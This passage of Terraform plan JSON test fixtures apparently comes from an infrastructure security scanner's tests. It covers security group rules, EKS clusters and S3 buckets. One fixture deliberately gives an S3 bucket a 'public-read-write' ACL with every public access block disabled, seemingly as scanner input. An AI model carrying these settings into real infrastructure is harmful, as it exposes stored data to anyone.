"schema_version": 2, "change": { "actions": [ "update" ], "before": { "cidr_blocks": [], "description": "foo", "from_port": 5432, "id": "sgrule-88888888", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_group_id": "sg-547cc4cd5f94bb695", "security_group_rule_id": null, "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 5432, "type": "ingress" }, "after": { "cidr_blocks": [], "description": "foo", "from_port": 5432, "id": "sgrule-88888888", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_group_id": "sg-547cc4cd5f94bb695", "security_group_rule_id": "sgr-5a4b695164c564a8f", "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 5433, "type": "ingress" }, "after_unknown": {}, "before_sensitive": { "cidr_blocks": [], "ipv6_cidr_blocks": [], "prefix_list_ids": [] }, "after_sensitive": { "cidr_blocks": [], "ipv6_cidr_blocks": [], "prefix_list_ids": [] } } }, { "address": "aws_security_group_rule.bar", "mode": "managed", "type": "aws_security_group_rule", "name": "bar", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 2, "change": { "actions": [ "update" ], "before": { "cidr_blocks": [], "description": "bar", "from_port": 8888, "id": "sgrule-88888888", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "tcp", "security_group_id": "sg-547cc4cd5f94bb696", "security_group_rule_id": null, "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 8888, "type": "ingress" }, "after": { "cidr_blocks": [], "description": "bar", "from_port": 8888, "id": "sgrule-88888888", "ipv6_cidr_blocks": [], "prefix_list_ids": [], "protocol": "udp", "security_group_id": "sg-547cc4cd5f94bb696", "security_group_rule_id": "sgr-5a4b695164c564a90", "self": false, "source_security_group_id": "sg-8d21ab5963b0e7917", "timeouts": null, "to_port": 8888, "type": "ingress" }, "after_unknown": {}, "before_sensitive": { "cidr_blocks": [], "ipv6_cidr_blocks": [], "prefix_list_ids": [] }, "after_sensitive": { "cidr_blocks": [], "ipv6_cidr_blocks": [], "prefix_list_ids": [] } } } ], "configuration": { "provider_config": { "aws": { "name": "aws" } }, "root_module": { "resources": [ { "address": "aws_security_group_rule.foo", "mode": "managed", "type": "aws_security_group_rule", "name": "foo", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "foo" } }, "schema_version": 2 }, { "address": "aws_security_group_rule.bar", "mode": "managed", "type": "aws_security_group_rule", "name": "bar", "provider_config_key": "aws", "expressions": { "name": { "constant_value": "bar" } }, "schema_version": 2 } ] } } } ================================================ FILE: tests/terraform/runner/resources/plan_data_resource_partial_values/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.13.5", "planned_values": { "root_module": { "child_modules": [ { "address": "module.child", "child_modules": [ { "resources": [ { "address": "module.child.module.a.aws_eks_cluster.cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "cluster", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "enabled_cluster_log_types": [ "api", "audit" ], "encryption_config": [], "name": "test", "role_arn": "arn:aws:iam::123456789012:role/test", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": false, "endpoint_public_access": true, "security_group_ids": null, "subnet_ids": [ "10.165.77.0/24" ] } ] } } ], "address": "module.child.module.a" }, { "resources": [ { "address": "module.child.module.b.data.aws_eks_cluster.cluster", "mode": "data", "type": "aws_eks_cluster", "name": "cluster", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "name": "test" } } ], "address": "module.child.module.b" } ] } ] } }, "resource_changes": [ { "address": "module.child.module.a.aws_eks_cluster.cluster", "module_address": "module.child.module.a", "mode": "managed", "type": "aws_eks_cluster", "name": "cluster", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": [ "api", "audit" ], "encryption_config": [], "name": "test", "role_arn": "arn:aws:iam::123456789012:role/test", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": false, "endpoint_public_access": true, "security_group_ids": null, "subnet_ids": [ "10.165.77.0/24" ] } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "enabled_cluster_log_types": [ false, false ], "encryption_config": [], "endpoint": true, "id": true, "identity": true, "kubernetes_network_config": true, "platform_version": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": [ false ], "vpc_id": true } ] } } }, { "address": "module.child.module.b.data.aws_eks_cluster.cluster", "module_address": "module.child.module.b", "mode": "data", "type": "aws_eks_cluster", "name": "cluster", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "read" ], "before": null, "after": { "name": "test" }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "enabled_cluster_log_types": true, "endpoint": true, "id": true, "identity": true, "kubernetes_network_config": true, "platform_version": true, "role_arn": true, "status": true, "tags": true, "version": true, "vpc_config": true } } } ], "configuration": { "root_module": { "module_calls": { "child": { "source": "./module", "module": { "module_calls": { "a": { "source": "./modules/a", "module": { "resources": [ { "address": "aws_eks_cluster.cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "cluster", "provider_config_key": "a:aws", "expressions": { "enabled_cluster_log_types": { "constant_value": [ "audit", "api" ] }, "name": { "constant_value": "test" }, "role_arn": { "constant_value": "arn:aws:iam::123456789012:role/test" }, "vpc_config": [ { "subnet_ids": { "constant_value": [ "10.165.77.0/24" ] } } ] }, "schema_version": 0 } ] } }, "b": { "source": "./modules/b", "module": { "resources": [ { "address": "data.aws_eks_cluster.cluster", "mode": "data", "type": "aws_eks_cluster", "name": "cluster", "provider_config_key": "b:aws", "expressions": { "name": { "constant_value": "test" } }, "schema_version": 0 } ] }, "depends_on": [ "module.a" ] } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_nested_child_modules/tfplan.json ================================================ { "format_version":"0.1", "terraform_version":"0.13.4", "planned_values":{ "root_module":{ "child_modules":[ { "address":"module.child_0", "child_modules":[ { "resources":[ { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_c" }, { "resources":[ { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_b" }, { "resources":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "schema_version":0, "values":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] } } ], "address":"module.child_0.module.child_1_a" } ] } ] } }, "resource_changes":[ { "address":"module.child_0.module.child_1_a.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_a", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_b.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_b", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } }, { "address":"module.child_0.module.child_1_c.aws_eks_cluster.cluster", "module_address":"module.child_0.module.child_1_c", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_name":"registry.terraform.io/hashicorp/aws", "change":{ "actions":[ "create" ], "before":null, "after":{ "enabled_cluster_log_types":[ "api", "audit" ], "encryption_config":[ ], "name":"test", "role_arn":"arn:aws:iam::12345678912:role/test", "tags":null, "timeouts":null, "vpc_config":[ { "endpoint_private_access":false, "endpoint_public_access":true, "security_group_ids":null, "subnet_ids":[ "10.165.77.0/24" ] } ] }, "after_unknown":{ "arn":true, "certificate_authority":true, "created_at":true, "enabled_cluster_log_types":[ false, false ], "encryption_config":[ ], "endpoint":true, "id":true, "identity":true, "kubernetes_network_config":true, "platform_version":true, "status":true, "version":true, "vpc_config":[ { "cluster_security_group_id":true, "public_access_cidrs":true, "subnet_ids":[ false ], "vpc_id":true } ] } } } ], "configuration":{ "root_module":{ "module_calls":{ "child_0":{ "source":"./module", "module":{ "module_calls":{ "child_1_a":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_a:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_b":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_b:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } }, "child_1_c":{ "source":"./module", "module":{ "resources":[ { "address":"aws_eks_cluster.cluster", "mode":"managed", "type":"aws_eks_cluster", "name":"cluster", "provider_config_key":"child_1_c:aws", "expressions":{ "enabled_cluster_log_types":{ "constant_value":[ "audit", "api" ] }, "name":{ "constant_value":"test" }, "role_arn":{ "constant_value":"arn:aws:iam::12345678912:role/test" }, "vpc_config":[ { "subnet_ids":{ "constant_value":[ "10.165.77.0/24" ] } } ] }, "schema_version":0 } ] } } } } } } } } } ================================================ FILE: tests/terraform/runner/resources/plan_nested_child_modules_with_connections/tfplan.json ================================================ { "format_version": "1.1", "terraform_version": "1.2.4", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket.root_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "root_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "aws_s3_bucket_public_access_block.root", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "root", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "child_modules": [ { "resources": [ { "address": "module.s3_bucket.aws_s3_bucket.this[0]", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "my-s3-bucket", "bucket_prefix": null, "force_destroy": false, "object_lock_enabled": false, "tags": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.s3_bucket.aws_s3_bucket_acl.this[0]", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "acl": "public-read-write", "expected_bucket_owner": null }, "sensitive_values": { "access_control_policy": [] } }, { "address": "module.s3_bucket.aws_s3_bucket_public_access_block.this[0]", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": false, "block_public_policy": false, "ignore_public_acls": false, "restrict_public_buckets": false }, "sensitive_values": {} } ], "address": "module.s3_bucket" }, { "resources": [ { "address": "module.s3_module.aws_s3_bucket.module_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "module_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.s3_module.aws_s3_bucket_public_access_block.module_bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "module_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "address": "module.s3_module", "child_modules": [ { "resources": [ { "address": "module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "submodule_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "sensitive_values": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } }, { "address": "module.s3_module.module.s3_submodule.aws_s3_bucket_public_access_block.submodule_bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "submodule_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "sensitive_values": {} } ], "address": "module.s3_module.module.s3_submodule" } ] } ] } }, "resource_changes": [ { "address": "aws_s3_bucket.root_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "root_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "object_lock_enabled": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "aws_s3_bucket_public_access_block.root", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "root", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "module.s3_bucket.aws_s3_bucket.this[0]", "module_address": "module.s3_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "my-s3-bucket", "bucket_prefix": null, "force_destroy": false, "object_lock_enabled": false, "tags": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.s3_bucket.aws_s3_bucket_acl.this[0]", "module_address": "module.s3_bucket", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "public-read-write", "expected_bucket_owner": null }, "after_unknown": { "access_control_policy": true, "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": { "access_control_policy": [] } } }, { "address": "module.s3_bucket.aws_s3_bucket_public_access_block.this[0]", "module_address": "module.s3_bucket", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "this", "index": 0, "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": false, "block_public_policy": false, "ignore_public_acls": false, "restrict_public_buckets": false }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "module.s3_module.aws_s3_bucket.module_bucket", "module_address": "module.s3_module", "mode": "managed", "type": "aws_s3_bucket", "name": "module_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "object_lock_enabled": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.s3_module.aws_s3_bucket_public_access_block.module_bucket", "module_address": "module.s3_module", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "module_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } }, { "address": "module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket", "module_address": "module.s3_module.module.s3_submodule", "mode": "managed", "type": "aws_s3_bucket", "name": "submodule_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "testing", "bucket_prefix": null, "force_destroy": false, "tags": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": true, "lifecycle_rule": true, "logging": true, "object_lock_configuration": true, "object_lock_enabled": true, "policy": true, "region": true, "replication_configuration": true, "request_payer": true, "server_side_encryption_configuration": true, "tags_all": true, "versioning": true, "website": true, "website_domain": true, "website_endpoint": true }, "before_sensitive": false, "after_sensitive": { "cors_rule": [], "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "replication_configuration": [], "server_side_encryption_configuration": [], "tags_all": {}, "versioning": [], "website": [] } } }, { "address": "module.s3_module.module.s3_submodule.aws_s3_bucket_public_access_block.submodule_bucket", "module_address": "module.s3_module.module.s3_submodule", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "submodule_bucket", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "block_public_acls": true, "block_public_policy": true, "ignore_public_acls": true, "restrict_public_buckets": true }, "after_unknown": { "bucket": true, "id": true }, "before_sensitive": false, "after_sensitive": {} } } ], "prior_state": { "format_version": "1.0", "terraform_version": "1.2.4", "values": { "root_module": { "child_modules": [ { "resources": [ { "address": "module.s3_bucket.data.aws_canonical_user_id.this", "mode": "data", "type": "aws_canonical_user_id", "name": "this", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "display_name": "aws-admin-accounts+619572639823", "id": "21a5f9b1fa8ae5dc2c10639e5db8652fe3b67fee8c6a4fb229e81831604e80b3" }, "sensitive_values": {} } ], "address": "module.s3_bucket" } ] } } }, "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "profile": { "constant_value": "dev2" }, "region": { "constant_value": "us-west-2" } } } }, "root_module": { "resources": [ { "address": "aws_s3_bucket.root_bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "root_bucket", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "testing" } }, "schema_version": 0 }, { "address": "aws_s3_bucket_public_access_block.root", "mode": "managed", "type": "aws_s3_bucket_public_access_block", "name": "root", "provider_config_key": "aws", "expressions": { "block_public_acls": { "constant_value": true }, "block_public_policy": { "constant_value": true }, "bucket": { "references": [ "aws_s3_bucket.root_bucket.id", "aws_s3_bucket.root_bucket" ] }, "ignore_public_acls": { "constant_value": true }, "restrict_public_buckets": { "constant_value": true } }, "schema_version": 0 } ], "module_calls": { "s3_bucket": { "source": "terraform-aws-modules/s3-bucket/aws", "expressions": { "acl": { "constant_value": "public-read-write" }, "bucket": { "constant_value": "my-s3-bucket" } }, "module": { "outputs": { "s3_bucket_arn": { "expression": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The ARN of the bucket. Will be of format arn:aws:s3:::bucketname." }, "s3_bucket_bucket_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket domain name. Will be of format bucketname.s3.amazonaws.com." }, "s3_bucket_bucket_regional_domain_name": { "expression": { "references": [ "aws_s3_bucket.this[0].bucket_regional_domain_name", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL." }, "s3_bucket_hosted_zone_id": { "expression": { "references": [ "aws_s3_bucket.this[0].hosted_zone_id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The Route 53 Hosted Zone ID for this bucket's region." }, "s3_bucket_id": { "expression": { "references": [ "aws_s3_bucket_policy.this[0].id", "aws_s3_bucket_policy.this[0]", "aws_s3_bucket_policy.this", "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The name of the bucket." }, "s3_bucket_region": { "expression": { "references": [ "aws_s3_bucket.this[0].region", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "description": "The AWS region this bucket resides in." }, "s3_bucket_website_domain": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_domain", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records." }, "s3_bucket_website_endpoint": { "expression": { "references": [ "aws_s3_bucket_website_configuration.this[0].website_endpoint", "aws_s3_bucket_website_configuration.this[0]", "aws_s3_bucket_website_configuration.this" ] }, "description": "The website endpoint, if the bucket is configured with a website. If not, this will be an empty string." } }, "resources": [ { "address": "aws_s3_bucket.this", "mode": "managed", "type": "aws_s3_bucket", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "var.bucket" ] }, "bucket_prefix": { "references": [ "var.bucket_prefix" ] }, "force_destroy": { "references": [ "var.force_destroy" ] }, "object_lock_enabled": { "references": [ "var.object_lock_enabled" ] }, "tags": { "references": [ "var.tags" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket" ] } }, { "address": "aws_s3_bucket_accelerate_configuration.this", "mode": "managed", "type": "aws_s3_bucket_accelerate_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "status": { "references": [ "var.acceleration_status" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.acceleration_status" ] } }, { "address": "aws_s3_bucket_acl.this", "mode": "managed", "type": "aws_s3_bucket_acl", "name": "this", "provider_config_key": "aws", "expressions": { "acl": { "references": [ "var.acl", "var.acl" ] }, "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.acl", "var.acl", "local.grants" ] } }, { "address": "aws_s3_bucket_cors_configuration.this", "mode": "managed", "type": "aws_s3_bucket_cors_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.cors_rules" ] } }, { "address": "aws_s3_bucket_intelligent_tiering_configuration.this", "mode": "managed", "type": "aws_s3_bucket_intelligent_tiering_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "name": { "references": [ "each.key" ] }, "status": { "references": [ "each.value.status", "each.value", "each.value.status", "each.value" ] } }, "schema_version": 0, "for_each_expression": { "references": [ "local.intelligent_tiering", "local.create_bucket" ] } }, { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.lifecycle_rules" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_logging.this", "mode": "managed", "type": "aws_s3_bucket_logging", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "target_bucket": { "references": [ "var.logging[\"target_bucket\"]", "var.logging" ] }, "target_prefix": { "references": [ "var.logging[\"target_prefix\"]", "var.logging" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.logging" ] } }, { "address": "aws_s3_bucket_object_lock_configuration.this", "mode": "managed", "type": "aws_s3_bucket_object_lock_configuration", "name": "this", "provider_config_key": "aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "rule": [ { "default_retention": [ { "days": { "references": [ "var.object_lock_configuration.rule.default_retention.days", "var.object_lock_configuration.rule.default_retention", "var.object_lock_configuration.rule", "var.object_lock_configuration" ] }, "mode": { "references": [ 